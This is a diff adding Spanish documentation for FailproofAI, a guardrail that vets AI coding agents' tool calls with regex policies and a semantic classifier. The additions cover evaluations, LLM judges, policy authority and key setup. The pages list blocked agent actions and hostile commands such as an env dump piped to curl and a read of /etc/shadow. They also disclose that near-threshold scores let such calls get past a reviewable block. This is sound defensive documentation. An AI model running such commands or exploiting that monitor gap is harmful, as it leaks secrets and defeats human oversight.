"group": "Prevent repeat failures",
"pages": [
- "ar/policies/overview"
+ "ar/policies/overview",
+ "ar/policies/jev"
]
},
{
"group": "Get a policy",
"pages": [
+ "ar/policies/authority",
"ar/policies/editor",
"ar/policies/packs"
]
@@ -2472,11 +2683,21 @@
"ar/reference/overview",
"ar/reference/harnesses",
"ar/reference/custom-agents",
+ "ar/reference/custom-agents-typescript",
"ar/reference/evaluator-sdk",
"ar/reference/policy-sdk",
"ar/reference/self-hosting"
]
},
+ {
+ "group": "Jev reference",
+ "pages": [
+ "ar/reference/jev",
+ "ar/reference/jev-evaluations",
+ "ar/reference/jev-providers",
+ "ar/reference/jev-cloud"
+ ]
+ },
{
"group": "Reference",
"expanded": false,
@@ -2512,6 +2733,7 @@
"he/start/first-policy",
"he/start/setup",
"he/start/concepts",
+ "he/start/use-jev",
{
"group": "Starter templates",
"expanded": false,
@@ -2569,6 +2791,8 @@
"pages": [
"he/evaluations/overview",
"he/evaluations/write",
+ "he/evaluations/judge",
+ "he/evaluations/jev",
"he/evaluations/test",
"he/evaluations/deploy",
"he/sessions/evaluations"
@@ -2577,6 +2801,7 @@
{
"group": "Find and manage failures",
"pages": [
+ "he/sessions/sentiment",
"he/audits/overview",
"he/audits/local-audit",
"he/audits/setup",
@@ -2597,12 +2822,14 @@
{
"group": "Prevent repeat failures",
"pages": [
- "he/policies/overview"
+ "he/policies/overview",
+ "he/policies/jev"
]
},
{
"group": "Get a policy",
"pages": [
+ "he/policies/authority",
"he/policies/editor",
"he/policies/packs"
]
@@ -2645,11 +2872,21 @@
"he/reference/overview",
"he/reference/harnesses",
"he/reference/custom-agents",
+ "he/reference/custom-agents-typescript",
"he/reference/evaluator-sdk",
"he/reference/policy-sdk",
"he/reference/self-hosting"
]
},
+ {
+ "group": "Jev reference",
+ "pages": [
+ "he/reference/jev",
+ "he/reference/jev-evaluations",
+ "he/reference/jev-providers",
+ "he/reference/jev-cloud"
+ ]
+ },
{
"group": "Reference",
"expanded": false,
@@ -2701,6 +2938,14 @@
"indexing": "navigable"
},
"redirects": [
+ {
+ "source": "/policies/jev-byok",
+ "destination": "/reference/jev-providers"
+ },
+ {
+ "source": "/policies/jev-cloud",
+ "destination": "/reference/jev-cloud"
+ },
{
"source": "/reference/python-sdk",
"destination": "/reference/custom-agents"
diff --git a/docs/es/evaluations/jev.mdx b/docs/es/evaluations/jev.mdx
new file mode 100644
index 000000000..71122b85c
--- /dev/null
+++ b/docs/es/evaluations/jev.mdx
@@ -0,0 +1,28 @@
+---
+title: "Evaluaciones Jev"
+description: "Usa Jev para puntuar una sesión finalizada en función de una pregunta con respuestas conocidas."
+icon: "list-checks"
+---
+
+Una evaluación Jev lee una **sesión finalizada** y le asigna una puntuación de 0 a 1. Úsala cuando la respuesta se conoce de antemano, por ejemplo: "¿Expresó el cliente urgencia?" o "¿Qué tan frustrado estaba el cliente?". Te ayuda a identificar patrones entre ejecuciones; no detiene una llamada a herramienta. Para decisiones tomadas **antes** de que se ejecute una herramienta, usa las [políticas Jev](/es/policies/jev).
+
+## Crea una en el panel
+
+1. Abre **Analyze → eval authoring** y selecciona **new eval**.
+2. Describe una pregunta y sus posibles respuestas. Por ejemplo: "¿Prometió el agente un reembolso antes de verificar la política de reembolsos? Responde sí o no." Selecciona **draft** y verifica que el resultado sea una puntuación de clasificador.
+3. [Pruébala](/es/evaluations/test) en sesiones recientes y luego [despliégala](/es/evaluations/deploy). Las nuevas sesiones completadas serán puntuadas; usa [backfill](/es/evaluations/deploy#score-sessions-you-already-have) si también necesitas el historial.
+
+
+
+El asistente puede elegir entre código, clasificación Jev y un [juez](/es/evaluations/judge). Revisa su elección antes de desplegar. Jev entrega una puntuación sin razonamiento en prosa; elige un juez cuando necesites una explicación. Consulta la [referencia de evaluaciones Jev](/es/reference/jev-evaluations) para conocer los tipos de preguntas y los límites de puntuación.
+
+## Lee las puntuaciones
+
+Abre **Observe → Evaluations** para visualizar el resultado por agente y por tiempo. Desde una terminal, el Cloud CLI puede leer los mismos resultados:
+
+```bash
+fp evals --since 7d
+fp evals --aggregate --since 7d
+```
+
+El Cloud CLI lee resultados; la creación y el despliegue se realizan en el panel. Consulta la [referencia del Cloud CLI](/es/reference/cloud-cli#evaluations) para ver los filtros disponibles.
\ No newline at end of file
diff --git a/docs/es/evaluations/judge.mdx b/docs/es/evaluations/judge.mdx
new file mode 100644
index 000000000..a07e32e9d
--- /dev/null
+++ b/docs/es/evaluations/judge.mdx
@@ -0,0 +1,91 @@
+---
+title: "Jueces LLM"
+description: "Puntúa sesiones en aspectos que el código no puede medir — corrección, tono, si el agente siguió una política — describiendo cómo se ve lo bueno y dejando que un modelo lea la conversación."
+icon: "scale"
+---
+
+Una evaluación de Python alojada puede contar y comparar: cuántas llamadas a herramientas, cuántos errores, cuánto duró una sesión. No puede decirte si una respuesta fue *correcta*, si una respuesta fue grosera, o si el agente verificó una política antes de actuar.
+
+Un **juez LLM** sí puede. Describes cómo se ve lo bueno en lenguaje natural, y un modelo lee la sesión y devuelve una puntuación de 0 a 1 junto con su razonamiento.
+
+
+Un juez cuesta una llamada al modelo por cada sesión en la que se ejecuta, y una evaluación de código no cuesta nada. Usa un juez solo para preguntas que requieren que la conversación sea *entendida* — y dale una condición, para que solo se ejecute en las sesiones sobre las que la pregunta realmente aplica.
+
+
+## ¿Cuál necesito?
+
+| Pregunta | Usar |
+| --- | --- |
+| ¿Llamó a la misma herramienta dos veces? | código |
+| ¿Cuántos errores hubo? | código |
+| ¿La sesión duró menos de 30 segundos? | código |
+| ¿El cliente expresó urgencia? | [clasificador](/es/evaluations/jev) |
+| ¿Qué tan frustrado estaba el cliente? | [clasificador](/es/evaluations/jev) |
+| ¿La respuesta fue realmente correcta? | **juez** |
+| ¿La respuesta fue grosera o despectiva? | **juez** |
+| ¿Verificó la política de reembolso antes de prometer uno? | **juez** |
+
+La regla general: **contable → código, respuestas que puedes listar de antemano → [clasificador](/es/evaluations/jev), necesita una explicación → juez.** Un juez es el que escribe prosa sobre lo que vio; úsalo cuando el número lleve a alguien a preguntar "¿por qué?".
+
+No tienes que decidir de antemano. Describe qué quieres medir y el asistente elige, luego te dice cuál escogió y por qué. Puedes cambiarlo.
+
+## Cómo crear uno
+
+1. Ve a **Analyze → eval authoring** y selecciona **new eval**.
+2. Describe qué quieres juzgar y selecciona **draft**.
+3. Revisa los **criteria**, el **threshold** y la **condition**, luego despliega.
+
+### Criteria
+
+Una o dos frases, escritas como un requisito más que como una pregunta:
+
+> El asistente no debe prometer ni aprobar un reembolso sin antes verificar la política de reembolsos.
+
+Sé específico sobre qué haría que fallara. "¿Fue buena la respuesta?" te da un número que no significa nada; la frase anterior te da uno sobre el que puedes actuar.
+
+### Threshold
+
+La puntuación a partir de la cual la sesión pasa. `0.7` es un punto de partida razonable. La puntuación completa de 0 a 1 siempre se almacena, por lo que el threshold solo decide aprobado/reprobado — puedes ver la distribución y ajustar.
+
+### Condition
+
+La misma condición de Python que cualquier otra evaluación, y aquí importa mucho más. Sin una, el juez se ejecuta en **cada** sesión de tu organización, con una llamada al modelo por cada una:
+
+```python
+session.count("tool_use") > 0
+```
+
+```python
+session.agent_id == "support-bot" and session.count("error") > 0
+```
+
+El dashboard te advierte si despliegas un juez sin condition. A veces eso es correcto — un agente de bajo volumen que quieres juzgar por completo — pero debe ser una decisión, no un accidente.
+
+## Qué ve el juez
+
+La conversación, como turnos, los más recientes primero si la sesión es larga:
+
+- lo que dijo el usuario
+- lo que respondió el asistente
+- **cada herramienta que llamó el agente, y lo que esa llamada devolvió, en orden**
+
+Esa última parte es lo que hace que "¿hizo X *antes* de Y?" sea una pregunta válida. Una llamada a herramienta fallida se muestra como un fallo, por lo que "¿se recuperó correctamente de un error?" también funciona.
+
+Las sesiones muy largas se truncan para ajustarse al contexto del modelo. Cuando eso ocurre, el razonamiento lo indica explícitamente — nunca verás un juicio hecho sobre parte de una sesión presentado como si fuera sobre toda ella.
+
+## Cómo interpretar los resultados
+
+Un juez produce una **puntuación** como cualquier otra evaluación puntuada, por lo que aparece en gráficos, se puede filtrar y activa alertas de la misma manera. Junto al número almacena el **razonamiento** del juez — el párrafo que explica lo que vio. Léelo primero cuando una puntuación te sorprenda; generalmente es una sesión genuinamente interesante o una señal de que los criteria necesitan más precisión.
+
+Las puntuaciones son estables para casos claros, pero no son deterministas bit a bit. Trata una puntuación límite individual como un aviso para ir a leer la sesión, no como un veredicto.
+
+## Limitaciones
+
+- **Las pruebas aún no están disponibles.** Una ejecución de prueba no tiene asignación de sesión detrás, y esa asignación es lo que autoriza gastar el presupuesto del modelo — así que no hay nada que una llamada de prueba pueda cargar. Despliega con una condition específica y lee los primeros resultados.
+- **El relleno retroactivo no está disponible.** Rellenar retroactivamente una evaluación de código sobre meses de historial es gratuito; hacerlo con un juez gastaría todo tu presupuesto en minutos.
+- **Editar los criteria publica una nueva versión.** Las puntuaciones antiguas y nuevas no son comparables, por lo que se mantienen separadas en lugar de mezclarse en una sola línea de tendencia.
+- **Un juez siempre produce una puntuación**, nunca una métrica ni una aserción.
+
+## Cuando se agota tu presupuesto
+
+Los jueces gastan el presupuesto del modelo de tu organización. Cuando se agota, las evaluaciones con jueces se detienen con un motivo claro en lugar de fallar silenciosamente, y **las evaluaciones de código siguen funcionando con normalidad**. Aumenta el presupuesto y reanudarán en la siguiente sesión.
\ No newline at end of file
diff --git a/docs/es/policies/authority.mdx b/docs/es/policies/authority.mdx
new file mode 100644
index 000000000..36e4098d7
--- /dev/null
+++ b/docs/es/policies/authority.mdx
@@ -0,0 +1,144 @@
+---
+title: "Autoridad de política"
+description: "Qué veredictos de política puede revocar el evaluador semántico Jev, y cuáles son definitivos."
+icon: "scale"
+---
+
+Cuando configuras la [revisión de políticas Jev](/es/policies/jev) a través de FailproofAI Cloud o con tu propia clave, cada llamada a herramienta supervisada es juzgada por las políticas que ejecutas y por Jev, que pregunta qué hace realmente la llamada y si la persona que escribió la tarea la solicitó. La **autoridad** de cada política decide qué ocurre cuando ambas discrepan.
+
+Sin Jev configurado, la autoridad no tiene efecto. Cada política se aplica exactamente como siempre lo ha hecho.
+
+## Hard y reviewable
+
+- **Hard** es el valor predeterminado. El rechazo o la instrucción de una política hard es definitivo: Jev no puede revocarlo, y un rechazo hard detiene la llamada sin esperar a Jev.
+- **Reviewable** significa que Jev puede revocar el veredicto de la política, pero solo mediante las verificaciones semánticas que la política indica en `reviewedBy`. El veredicto se revoca únicamente cuando **todas** las verificaciones nombradas fueron consultadas sobre esta llamada y cada una no encontró nada o registró que el usuario lo solicitó. Una verificación que **se activó** — encontró el problema — sin que el usuario lo solicitara mantiene el bloqueo, incluso cuando su propio veredicto es solo una advertencia. Una verificación que Jev no fue consultado, porque no aplica a esa herramienta, nunca revoca nada, independientemente de lo que digan las demás. Un suavizamiento cuenta como consentimiento: cuando la llamada es un paso de la tarea que el usuario indicó y no va más allá, Jev convierte un rechazo en advertencia, y esa advertencia revoca el bloqueo de la política y es lo que se le comunica al agente.
+
+Una política es reviewable solo cuando se cumplen todas estas condiciones:
+
+1. Declara `authority: "reviewable"`.
+2. `reviewedBy` es una lista no vacía, y cada entrada es una verificación Jev que declara un paquete instalado. Failproof AI no incluye ninguna verificación Jev: las [dieciséis que se muestran abajo](#semantic-policy-names) provienen de `failproofai policies add FailproofAI/jev-policies`. Sin ningún paquete que declare verificaciones, toda política es hard.
+3. No es `alwaysOn`. La protección que evita que un agente deshabilite Failproof AI siempre es hard.
+
+Cualquier otra cosa es hard: un campo faltante, un valor mal escrito, un `reviewedBy` vacío o malformado, o un nombre que no es una verificación que esta máquina pueda consultar. Un nombre desconocido hace que toda la declaración sea hard en lugar de ser omitido, porque `reviewedBy` significa "todas estas deben ser consultadas, y ninguna puede rechazar", y omitir un nombre permitiría que Jev revoque la política con menos verificaciones de las que solicitaste.
+
+Una vez que Jev está configurado, Failproof AI registra una advertencia cuando rechaza una declaración `reviewable`, una vez por proceso. Sin Jev no dice nada, porque la autoridad entonces no decide nada. `failproofai publish` rechaza construir un paquete que lleve tal declaración, de modo que el autor del paquete lo descubre antes de que alguien lo instale. Evalúa `reviewedBy` frente a las verificaciones que el paquete declara cuando declara alguna, y frente a los dieciséis nombres de `FailproofAI/jev-policies` en caso contrario.
+
+## Dónde se declara la autoridad
+
+Cada forma en que una política llega a una máquina tiene un lugar que decide su autoridad:
+
+| Origen | Declarado en | Predeterminado |
+| --- | --- | --- |
+| Políticas integradas | La tabla a continuación | Hard salvo que figuren como reviewable |
+| Tus propios archivos de política | `authority` y `reviewedBy` en `customPolicies.add` | Hard |
+| Paquetes de políticas | La entrada de cada política en el manifiesto del paquete (`failproofai-pack.json`) | Hard |
+| Políticas gestionadas en la nube | La asignación de la política en el despliegue activo | Hard. Los despliegues aún no lo establecen, por lo que toda política gestionada en la nube es hard hoy. |
+
+Para un paquete o una política gestionada en la nube, los campos establecidos dentro del código de la política se ignoran; el manifiesto o la asignación decide. Un paquete solo puede describir sus propias políticas: los nombres de sus políticas no pueden contener `/` y se registran bajo el prefijo propio del paquete, por lo que ningún manifiesto puede marcar una política integrada ni la de otro paquete como reviewable. Una política que el código de un paquete registra sin declararla en el manifiesto es hard.
+
+Dos paquetes, o dos políticas gestionadas en la nube, cuyo código es idéntico byte a byte comparten un solo artefacto y se cargan como una única política. Esa política es reviewable solo si todos ellos la declaran reviewable, y Jev debe entonces revocar cada verificación que cualquiera de ellos nombre. Si alguno la declara hard, o no la declara en absoluto, permanece hard. El orden en que se listen los paquetes o políticas nunca importa.
+
+La mayoría de las máquinas obtienen las políticas integradas del paquete `FailproofAI/policies`, y leen su autoridad del manifiesto de ese paquete. Las entradas reviewable que se muestran a continuación surten efecto una vez que se instala una versión del paquete que las contiene; una versión más antigua no contiene ninguna, por lo que toda política en ella permanece hard.
+
+## Declarar autoridad en tu propia política
+
+```js
+import { customPolicies, deny, allow } from "failproofai";
+
+customPolicies.add({
+ name: "block-prod-config-reads",
+ description: "Keep production credentials out of the agent's context",
+ match: { events: ["PreToolUse"] },
+ authority: "reviewable",
+ reviewedBy: ["secret-exposure"],
+ fn: async (ctx) =>
+ String(ctx.toolInput?.file_path ?? "").includes("/config/prod/")
+ ? deny("Production config is off limits")
+ : allow(),
+});
+```
+
+`failproofai publish` copia ambos campos en el manifiesto del paquete, por lo que una política publicada como paquete conserva la autoridad que le dio su autor. Rechaza construir el paquete si una declaración no sería respetada: un valor distinto de `"hard"` o `"reviewable"`, un `reviewedBy` que no sea una lista de nombres, o un nombre que no sea una verificación — una de las [verificaciones Jev](/es/policies/publish-a-pack#jev-checks-in-a-pack) propias del paquete cuando declara alguna, o una verificación integrada en caso contrario.
+
+## Políticas integradas
+
+Reviewable solo donde una política semántica cubre genuinamente la misma preocupación. Toda otra política integrada es hard.
+
+Cubrir la preocupación es necesario pero no suficiente, y ambas formas de equivocarse son silenciosas:
+
+- **Una verificación que nunca es consultada** hace el bloqueo permanente. `reviewedBy` es una conjunción y una verificación que no fue consultada nunca revoca, por lo que una política emparejada con una verificación cuya precondición no se activa para las formas que la política coincide nunca puede ser revocada.
+- **Una verificación que es consultada pero no se activa** responde "sin preocupación", y sin preocupación se revoca. Así que emparejar con una verificación que no modela las formas de tu política no revisa la política — la desactiva exactamente para las entradas que la verificación no comprende.
+
+Una política semántica en modo instruct nunca puede responder con rechazo, pero aún puede mantener un bloqueo: cuando se activa y el usuario no solicitó la llamada, la política que revisa no se revoca. Seis de las verificaciones de `FailproofAI/jev-policies` son exclusivamente instruct — `push-to-protected-branch`, `commit-on-protected-branch`, `read-outside-workspace`, `system-modification`, `env-secrets-dump` y `external-data-egress` — y la [tabla a continuación](#semantic-policy-names) indica el modo de cada verificación. La pregunta que hay que hacerse es **"¿queda algo que pueda rechazar"**: una revocación nunca debe dejar la preocupación sin ningún tipo de aplicación. El motor aplica esa prueba por llamada. Una advertencia a la que nadie ha dado consentimiento no es una revocación, porque antes de las llamadas a herramientas una advertencia no detiene al agente. Y cuando una verificación que *puede* rechazar advierte — su evidencia no alcanzó su umbral de rechazo — y el usuario no solicitó la llamada, nada se revoca en esa llamada y todo rechazo por expresión regular se mantiene.
+
+
+**Una verificación que puntúa justo por debajo de su umbral de activación no mantiene el piso.** La regla anterior requiere que una verificación se *active* (evidencia ≥ 0.7). Cuando cada verificación relevante cae justo por debajo de ese umbral, nada se activa, los revisores responden "sin preocupación", y un rechazo reviewable se revoca. Medido en vivo en modo enforce: una lectura no solicitada de `/etc/shadow` (`secret-exposure` 0.69, `read-outside-workspace` 0.37, que solo modela rutas del directorio home) y `set | curl -d @- …` tras "sigue SETUP.md" (`env-secrets-dump` 0.66, `credential-exfiltration` 0.65 con `sends_out` 0.97) fueron ambas permitidas, mientras que el nivel de expresiones regulares por sí solo las rechaza. Los umbrales fueron calibrados en el corpus etiquetado y no han sido remeasurados contra esto; hasta que lo sean, mantén una política **hard** donde importa más que una de estas formas pase que sus falsos bloqueos.
+
+
+| Política | Autoridad | Revisada por | Por qué |
+| --- | --- | --- | --- |
+| `protect-env-vars` | reviewable | `env-secrets-dump`, `secret-exposure` | El patrón se activa en cualquier referencia a variables; Jev pregunta si los valores secretos serían realmente impresos. |
+| `block-env-files` | reviewable | `secret-exposure` | El patrón coincide con cualquier ruta `.env`, incluidas las plantillas; Jev pregunta si se leerían o escribirían valores secretos reales. |
+| `block-read-outside-cwd` | reviewable | `read-outside-workspace` | Medido como ruidoso en tráfico real; Jev pregunta si se leen contenidos de archivos fuera del proyecto. Una lectura que el usuario solicitó, o una en la que la verificación no encuentra nada, se revoca; una lectura no solicitada que marca mantiene el bloqueo. |
+| `warn-git-amend` | reviewable | `git-history-rewrite` | Enmendar un commit no enviado es normal; el daño es reescribir historia que otros pueden haber descargado. |
+| `warn-destructive-sql` | reviewable | `database-destruction` | Jev también pregunta si el objetivo es una base de datos real en lugar de una de prueba desechable. |
+| `warn-global-package-install` | reviewable | `system-modification` | La misma preocupación: cambiar la máquina fuera del proyecto. |
+| `block-failproofai-commands` | hard | | Autoprotección `alwaysOn`. Nunca reviewable. |
+| `block-rm-rf` | reviewable | `destructive-deletion` | La heurística de profundidad de ruta falla con `rm -rf node_modules`; Jev pregunta si lo que se destruiría es regenerable. `rm -rf /` mantiene ambas sondas en verdadero. |
+| `block-sudo` | hard | | Escalada de privilegios. |
+| `block-curl-pipe-sh` | hard | | Ejecuta código descargado de internet. |
+| `block-push-master` | hard | | Envía directamente a una rama protegida. |
+| `block-work-on-main` | hard | | `commit-on-protected-branch` cubre exactamente esta preocupación pero es modo instruct, por lo que nunca puede responder con rechazo, y ninguna otra verificación la cubre. |
+| `block-force-push` | reviewable | `git-history-rewrite` | La sonda de Jev es un superconjunto del comparador e incluye `--force-with-lease`; lo que se revoca es el force-push a tu propia rama. |
+| `block-secrets-write` | reviewable | `secret-exposure` | La coincidencia de ruta no está anclada, por lo que `src/auth/credentials.ts` es capturada; Jev pregunta si se está escribiendo material de clave real. |
+| `block-kubectl` | reviewable | `production-infra-change` | Rechaza todo el CLI, incluidos los subcomandos de solo lectura; Jev pregunta si la llamada muta y si el objetivo es producción. |
+| `block-terraform` | reviewable | `production-infra-change` | Igual: revoca `terraform plan` y `validate`. |
+| `block-aws-cli` | reviewable | `production-infra-change` | Igual: revoca `aws s3 ls`, `aws sts get-caller-identity`. |
+| `block-gcloud` | reviewable | `production-infra-change` | Igual: revoca `gcloud auth list`, `gcloud config list`. |
+| `block-az-cli` | reviewable | `production-infra-change` | Igual: revoca `az account show`. |
+| `block-helm` | reviewable | `production-infra-change` | Igual: revoca `helm list`, `helm status`. |
+| `block-gh-pipeline` | hard | | Dispara pipelines, fusiones y cambios de secretos. |
+| `warn-git-stash-drop` | hard | | Ninguna verificación semántica cubre descartar trabajo en stash. |
+| `warn-git-clean` | hard | | `destructive-deletion` cubre la preocupación pero demostrablemente no puede activarse: `git clean` no nombra ninguna ruta, por lo que su sonda `irreplaceable` no tiene nada que juzgar y responde bajo, y la evidencia es el mínimo sobre las sondas de una política. Una verificación que es consultada y no se activa revoca el veredicto, por lo que emparejar aquí desactivaría la política. |
+| `warn-all-files-staged` | hard | | Ninguna verificación semántica cubre lo que recoge un `git add` amplio. |
+| `warn-schema-alteration` | hard | | `database-destruction` cubre la eliminación de datos, no la alteración de un esquema. |
+| `warn-package-publish` | hard | | Publicar es irreversible y ninguna verificación semántica lo cubre. |
+| `prefer-package-manager` | hard | | Una convención de equipo, no un juicio de seguridad. |
+| `warn-large-file-write` | hard | | Un umbral de tamaño, no un juicio que Jev pueda hacer. |
+| `warn-background-process` | hard | | Ninguna verificación semántica cubre los procesos desvinculados. |
+| `warn-repeated-tool-calls` | hard | | Cuenta llamadas; Jev no puede contar. |
+| `sanitize-jwt` | hard | | Redacta la salida de herramientas; no es una puerta de llamada a herramienta. |
+| `sanitize-api-keys` | hard | | Redacta la salida de herramientas; no es una puerta de llamada a herramienta. |
+| `sanitize-connection-strings` | hard | | Redacta la salida de herramientas; no es una puerta de llamada a herramienta. |
+| `sanitize-private-key-content` | hard | | Redacta la salida de herramientas; no es una puerta de llamada a herramienta. |
+| `sanitize-bearer-tokens` | hard | | Redacta la salida de herramientas; no es una puerta de llamada a herramienta. |
+| `require-commit-before-stop` | hard | | Una puerta de finalización de sesión, no de llamada a herramienta. |
+| `require-push-before-stop` | hard | | Una puerta de finalización de sesión, no de llamada a herramienta. |
+| `require-pr-before-stop` | hard | | Una puerta de finalización de sesión, no de llamada a herramienta. |
+| `require-no-conflicts-before-stop` | hard | | Una puerta de finalización de sesión, no de llamada a herramienta. |
+| `require-ci-green-before-stop` | hard | | Una puerta de finalización de sesión, no de llamada a herramienta. |
+
+## Nombres de políticas semánticas
+
+Estas son las verificaciones que declara `FailproofAI/jev-policies`, y los valores que acepta `reviewedBy` una vez instalado. Failproof AI por sí mismo no incluye ninguna: sin ese paquete (u otro que declare estos nombres), ninguna política que los nombre es reviewable. Cada una es una verificación que Jev responde sobre la llamada a herramienta que tiene frente a sí. **Modo** es lo que una verificación puede responder: una verificación `deny` bloquea con evidencia fuerte, mientras que una verificación `instruct` solo advierte. Cualquiera mantiene el rechazo de una política cuando se activa y el usuario no solicitó la llamada. **El usuario puede anular** indica si la solicitud explícita del humano la revoca.
+
+Jev consulta exactamente las [verificaciones Jev](/es/policies/publish-a-pack#jev-checks-in-a-pack) que declaran los paquetes instalados, y esos son los nombres que acepta `reviewedBy`. Un nombre que dos paquetes declaran de forma diferente no es respetado para ninguno. Uno de estos dieciséis nombres declarado por un paquete no instalado desde un repositorio FailproofAI es ignorado en ese paquete: su versión nunca es consultada y no compite con la de FailproofAI, por lo que un paquete de terceros no puede convertirse en la verificación que revoca las políticas del paquete principal ni desactivar una de estas verificaciones. Una lista de paquetes ilegible, o un paquete cuyas todas las verificaciones son inutilizables, no deja nada que Jev pueda consultar.
+
+| Nombre | Modo | El usuario puede anular | Qué verifica Jev |
+| --- | --- | --- | --- |
+| `destructive-deletion` | deny | sí | Eliminar permanentemente datos que no pueden regenerarse. |
+| `production-infra-change` | deny | sí | Cambiar infraestructura en producción. |
+| `git-history-rewrite` | deny | sí | Reescribir o descartar historia de git compartida. |
+| `push-to-protected-branch` | instruct | sí | Enviar directamente a una rama protegida. |
+| `commit-on-protected-branch` | instruct | sí | Hacer commit directamente en una rama protegida. |
+| `secret-exposure` | deny | sí | Leer o copiar credenciales. |
+| `credential-exfiltration` | deny | no | Enviar secretos o archivos privados fuera de la máquina. |
+| `remote-code-execution` | deny | sí | Ejecutar código descargado de internet. |
+| `privilege-escalation` | deny | sí | Ejecutar con privilegios elevados. |
+| `database-destruction` | deny | sí | Destruir o modificar masivamente datos de base de datos. |
+| `read-outside-workspace` | instruct | sí | Leer archivos fuera del proyecto. |
+| `agent-config-tampering` | deny | no | Cambiar la propia configuración de seguridad del agente. |
+| `system-modification` | instruct | sí | Cambiar el sistema fuera del proyecto. |
+| `env-secrets-dump` | instruct | sí | Imprimir secretos de entorno. |
+| `external-destructive-action` | deny | sí | Una acción irreversible a través de una herramienta externa. |
+| `external-data-egress` | instruct | sí | Enviar datos privados a una herramienta externa. |
\ No newline at end of file
diff --git a/docs/es/policies/jev-byok.mdx b/docs/es/policies/jev-byok.mdx
new file mode 100644
index 000000000..2776de0df
--- /dev/null
+++ b/docs/es/policies/jev-byok.mdx
@@ -0,0 +1,265 @@
+---
+title: "Evaluador Jev (usa tu propia clave)"
+description: "Permite que el clasificador Jev de TypeSafe evalúe las llamadas a herramientas de tus agentes por encima de un umbral fijo de regex, a través de tu propio endpoint y clave de Jev."
+icon: "key-round"
+---
+
+Las políticas de regex comparan cadenas de texto. No pueden distinguir `rm -rf build/` que tú pediste de `rm -rf ~` que se coló en un plan, por lo que bloquean demasiado en un sitio y demasiado poco en otro. **Jev**, el clasificador de TypeSafe, lee la llamada en el contexto de lo que realmente pediste y responde una serie de preguntas de sí/no sobre ella en una sola petición rápida.
+
+Con tu propio endpoint y clave de Jev configurados, Failproof AI consulta a Jev sobre cada llamada a herramienta **junto con** las políticas de regex, nunca en sustitución de ellas:
+
+- El deny de una política **hard** es definitivo. Jev no puede anularlo. Toda política es hard salvo que esté marcada explícitamente como revisable y nombre las comprobaciones de Jev que la cubren; por tanto, una política personalizada, de paquete o de Cloud que no diga nada es hard, y la protección propia siempre activa es siempre hard.
+- El deny de una política **reviewable** puede anularse, pero solo cuando Jev fue consultado exactamente sobre la preocupación que cubre esa política y respondió "nada aquí" o "el usuario lo pidió". Una comprobación que considera real la preocupación cuando el usuario no pidió la llamada mantiene el deny, incluso si su propio veredicto es solo una advertencia, porque antes de una llamada a herramienta una advertencia no detiene al agente. Y cuando esa comprobación es de las que pueden denegar (exposición de secretos, exfiltración de credenciales, eliminación destructiva…), nada se anula en esa llamada.
+- Un bloqueo puede convertirse en **advertencia** cuando la llamada es un paso de la tarea que diste y no va más lejos: Jev suaviza su propio deny a advertencia, y esa advertencia —que nombra exactamente qué está mal en la llamada— sustituye al bloqueo de la política.
+- Jev también puede advertir o denegar por su cuenta, ante daños que ninguna regex describe.
+- Si Jev no puede responder (timeout, límite de tasa, error del servidor, sin créditos, versión de modelo inesperada), esa llamada recibe el resultado de regex, exactamente igual que sin Jev.
+- Jev nunca hace una llamada más permisiva que tus políticas por sí solas, salvo que haya leído la llamada completa y fuera consultado sobre la preocupación exacta. Cualquier cosa menor —una llamada demasiado grande para enviar completa, una inyección sospechada— retira las autorizaciones y mantiene todos los denys.
+
+
+Sin una configuración de Jev nada cambia: los hooks ejecutan las políticas de regex exactamente como siempre. La configuración es el único mecanismo de activación.
+
+
+
+¿Usas FailproofAI Cloud? No necesitas una clave propia: una máquina conectada con una clave que tenga `jev:evaluate` puede usar Jev en el plan de tu organización. Consulta [Jev a través de FailproofAI Cloud](/es/policies/jev-cloud).
+
+
+## Elige un proveedor
+
+Jev es accesible a través de cinco rutas. Aporta una clave para cualquiera de ellas.
+
+| Proveedor | `--provider` | Endpoint | Modelo predeterminado | Notas |
+| --- | --- | --- | --- | --- |
+| TypeSafe | `typesafe` | `api.typesafe.ai/v1/systemone` | `jev-1.13.0` | Versión exacta fijada. |
+| OpenRouter | `openrouter` | `openrouter.ai/api/v1/systemone` | `typesafe/jev-1.13` | Las peticiones se enrutan solo a endpoints sin retención de datos, sin respaldo en otro proveedor. Reporta una versión con fecha como `typesafe/jev-1.13-20260917`. |
+| Vercel AI Gateway | `vercel` | `ai-gateway.vercel.sh/typesafe/v1/systemone` | `typesafe-ai/jev` | Nombra a Jev solo por un alias, por lo que la versión que responde se registra como no verificada. |
+| Cloudflare Workers AI | `cloudflare` | `api.cloudflare.com/client/v4/accounts//ai/run` | `typesafe/jev` | Requiere `--account-id`. Se midieron unas seis llamadas por segundo por clave antes de recibir HTTP 429. |
+| Tu propio endpoint | `custom` | `/systemone` | `jev-1.13.0` | Cualquier endpoint que acepte el cuerpo de petición de TypeSafe e informe qué modelo respondió. Solo `https`; `http://localhost` simple se acepta únicamente en modo shadow. |
+
+
+Con la funcionalidad de clave propia de Vercel, una petición fallida se reintenta silenciosamente con las credenciales de Vercel. Si necesitas que cada llamada se facture y sea visible únicamente en tu propia cuenta de TypeSafe, usa TypeSafe directamente.
+
+
+## Configuración
+
+Un comando, el endpoint y la clave:
+
+```bash
+failproofai jev --url https://api.typesafe.ai/v1 --key-stdin < ~/typesafe.key
+```
+
+### La URL determina el proveedor
+
+No es necesario nombrar el proveedor: el **host** de la URL indica cuál es.
+
+| Host de la URL | Proveedor | También necesita |
+| --- | --- | --- |
+| `api.typesafe.ai` | `typesafe` | — |
+| `openrouter.ai` | `openrouter` | — |
+| `ai-gateway.vercel.sh` | `vercel` | — |
+| `api.cloudflare.com` | `cloudflare` | `--account-id ` |
+| cualquier otro host | `custom` | — la URL que indicaste es la URL base |
+
+De eso se derivan tres consecuencias:
+
+- **Una URL que es la propia API del proveedor no escribe ninguna anulación.** `--url https://api.typesafe.ai/v1` produce exactamente la misma configuración que `--provider typesafe`. Si se indica una ruta o host distinto en un proveedor conocido, se almacena como URL base, igual que haría `--base-url`.
+- **`--provider` sigue anulando la inferencia**, lo cual permite apuntar a un proxy que habla la API de un proveedor desde un host propio: `--url https://jev-proxy.internal/v1 --provider typesafe`.
+- **Un `--provider` que contradiga el host se rechaza**, sin hacer suposiciones. `--provider openrouter --url https://api.typesafe.ai/v1` no escribe nada y explica por qué: los dos valores discrepan sobre a dónde se va a enviar tu clave. El mismo par se rechaza desde `jev setup --base-url` y desde los ajustes de Jev en el panel. (`--provider custom` no es una contradicción —significa "trata esta URL tal cual"—, salvo en el host de Cloudflare, cuyo endpoint por cuenta no es alcanzable mediante una ruta custom.)
+
